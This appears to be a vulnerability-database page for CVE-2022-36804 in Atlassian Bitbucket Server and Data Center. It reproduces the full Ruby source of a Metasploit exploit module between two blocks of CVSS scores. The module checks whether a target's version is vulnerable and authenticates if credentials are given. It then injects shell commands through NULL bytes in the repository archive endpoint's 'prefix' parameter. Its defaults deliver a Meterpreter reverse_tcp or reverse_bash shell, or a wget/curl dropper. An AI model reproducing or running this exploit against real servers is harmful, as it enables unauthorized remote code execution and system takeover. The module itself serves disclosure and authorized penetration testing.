Lucene search

K
metasploitTheGrandPew, Ron Bowes, Jang, Shelby PaceMSF:EXPLOIT-LINUX-HTTP-BITBUCKET_GIT_CMD_INJECTION-
HistorySep 19, 2022 - 10:28 p.m.

Bitbucket Git Command Injection

2022-09-1922:28:17
TheGrandPew, Ron Bowes, Jang, Shelby Pace
www.rapid7.com
171

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints. The /rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive endpoint creates an archive of the repository, leveraging the git-archive command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Git Command Injection',
        'Description' => %q{
          Various versions of Bitbucket Server and Data Center are vulnerable to
          an unauthenticated command injection vulnerability in multiple API endpoints.

          The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
          creates an archive of the repository, leveraging the `git-archive` command to do so.
          Supplying NULL bytes to the request enables the passing of additional arguments to the
          command, ultimately enabling execution of arbitrary commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'TheGrandPew', # discovery
          'Ron Bowes', # analysis and PoC
          'Jang', # testanull - PoC
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/' ],
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
          [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
          [ 'CVE', '2022-36804' ]
        ],
        'Platform' => [ 'linux' ],
        'Privileged' => false,
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %w[wget curl bourne],
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => ARCH_CMD,
              'Payload' => { 'BadChars' => %(:/?#[]@) },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DisclosureDate' => '2022-08-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
        OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
        OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'login')
    )

    return CheckCode::Unknown('Failed to receive response from application') unless res

    unless res.body.include?('Bitbucket')
      return CheckCode::Safe('Target does not appear to be Bitbucket')
    end

    footer = res.get_html_document&.at('footer')
    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer

    version_str = footer.at('span')&.children&.text
    return CheckCode::Detected('Cannot find version string in footer') unless version_str

    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1

    version_str = matches[1]
    vprint_status("Found Bitbucket version: #{matches[1]}")

    num_vers = Rex::Version.new(version_str)
    return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')

    major, minor, revision = version_str.split('.')
    case major
    when '6'
      return CheckCode::Appears
    when '7'
      case minor
      when '6'
        return CheckCode::Appears if revision.to_i < 17
      when '17'
        return CheckCode::Appears if revision.to_i < 10
      when '21'
        return CheckCode::Appears if revision.to_i < 4
      end
    when '8'
      case minor
      when '0', '1'
        return CheckCode::Appears if revision.to_i < 3
      when '2'
        return CheckCode::Appears if revision.to_i < 2
      when '3'
        return CheckCode::Appears if revision.to_i < 1
      end
    end

    CheckCode::Detected
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def authenticate
    print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'j_username' => username,
        'j_password' => password,
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'dashboard'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res

    unless res.body.include?('Your work') && res.body.include?('Projects')
      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
    end

    @authenticated = true
    print_good('Successfully logged into Bitbucket!')
  end

  def find_public_repo
    print_status('Searching Bitbucket for publicly accessible repository')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
    json_data = JSON.parse(res.body)
    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data

    unless json_data['size'] > 0
      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
    end

    # opt for public repos unless none exist.
    # Attempt to use a private repo if so
    repos = json_data['values']
    possible_repos = repos.select { |repo| repo['public'] == true }
    if possible_repos.empty? && @authenticated
      possible_repos = repos.select { |repo| repo['public'] == false }
    end

    fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
    possible_repos.each do |repo|
      project = repo['project']
      next unless project

      @project = project['key']
      @repo = repo['slug']
      break if @project && @repo
    end

    fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
    print_good("Found public repo '#{@repo}' in project '#{@project}'!")
  end

  def execute_command(cmd, _opts = {})
    uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
    send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true,
      'vars_get' =>
      {
        'format' => 'zip',
        'path' => Rex::Text.rand_text_alpha(2..5),
        'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
      }
    )
  end

  def exploit
    @authenticated = false
    authenticate unless username.blank? && password.blank?
    find_public_repo

    if target['Type'] == :linux_dropper
      execute_cmdstager(linemax: 6000)
    else
      execute_command(payload.encoded)
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

Related for MSF:EXPLOIT-LINUX-HTTP-BITBUCKET_GIT_CMD_INJECTION-